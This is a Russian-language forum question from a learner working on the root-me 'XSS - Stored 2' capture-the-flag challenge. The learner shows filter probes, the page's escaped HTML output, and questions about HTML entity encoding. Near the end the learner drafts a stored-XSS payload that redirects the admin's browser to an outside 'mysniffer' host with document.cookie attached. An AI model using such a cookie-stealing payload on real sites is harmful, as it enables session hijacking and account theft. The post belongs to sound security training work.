@HexUserHex

Вопрос для любителей CTF(XSS)?

Добрый день,
прохожу по потихоньку CTF(XSS - Stored 2) на root-me, вообщем задача как всегда угнать cookies админа, так как в те времена когда создавали данный challenge еще не было флага 'http only'. Итак нашел input который вроде пропускает все символы, что я сразу проверил сразу скормив ему:
'';!--"<fuck>=&{()}

Далее попробовал, вставить обычный alert()
<script>alert(1)</alert>

Нажимаю F12 и иду смотреть куда именно(между какими тегами) он был засунут бекендом...
<html><head>
	<title>Forum v0.002</title>
	<style>
	    .invite { color: green; }
	    .admin { color: red;}
	</style>
    </head>
   <body><link rel="stylesheet" property="stylesheet" id="s" type="text/css" href="/template/s.css" media="all"><iframe id="iframe" src="https://www.root-me.org/?page=externe_header"></iframe>
        <h1>Forum v0.002</h1>
	<hr>
	
	<div>
	    <span><a href="./?section=admin">admin</a></span>
	    <span style="text-align: right; float:right;">Statut / Status : <i class="invite">invite</i></span>
	</div><br>



	<b>message enregistré / content saved</b><br><br>        <form action="" method="POST">
	        <div>
	            Titre / Title&nbsp;:<br>
	            <input name="titre" value="" type="text">
	        </div><br>
	        <div>
	            Message / Content&nbsp;:<br>
	            <textarea name="message" rows="3" cols="50"></textarea>
	        </div>
	        <div>
	            <input value="envoyer / send" type="submit">
	        </div>
        </form><br><br>
        <div>
	        <div>Posted messages:</div><br>
		<span><b>Welcome</b></span><br>
		<span>N'hésitez pas à me laisser un message / Don't hesitate, let a message</span><br><hr>
		<span><b>test_filter</b>&nbsp;(<i class="invite">status : invite</i>)</span><br><span>'';!--"&lt;fuck&gt;=&amp;{()} </span><br><hr>
        </div>
    

</body></html>


И нахожу в конце свой js код:
&lt;script&gt;alert(1)&lt;/alert&gt;

1. Внимание самый главный вопрос, насколько я понял браузер заменил найденные в моем запросе спец символы на специальные коды(буду рад если подскажите их название) которые по определению НИКОГДА им не будут обработаны как HTML но будут успешно отображены браузером?

2. Если так то во что нужно перевести мой так называемый payload чтобы backend 'пропустил' все символы и чтобы они были обработаны как html/js код?

3. Еще вопрос(не уверен что задам его грамотно): в каком представлении данные браузеры обрабатывают? Т.е я могу обычный html/js код закодировать в ascii или в utf8 или в URL или в HEX воббще.. и браузер без проблем автоматически интерпретирует и покажет мой html?

Как только решу данную задачу то насколько я понял нужно будет закрыть все внешние так сказать теги и далее уже просто вставить мой js payload, на данный момент пришел к такому варианту:

</span></br></div><script>document.location.href = 'https://mysniffer?cookies =' + document.cookie;</script><div><span>


ps: знаю что всегда можно посмотреть writeup но интересует именно понять :)
  • Вопрос задан
  • 193 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
28 мар. 2024, в 18:16
1000 руб./за проект
28 мар. 2024, в 18:15
90000 руб./за проект
28 мар. 2024, в 18:05
5000 руб./за проект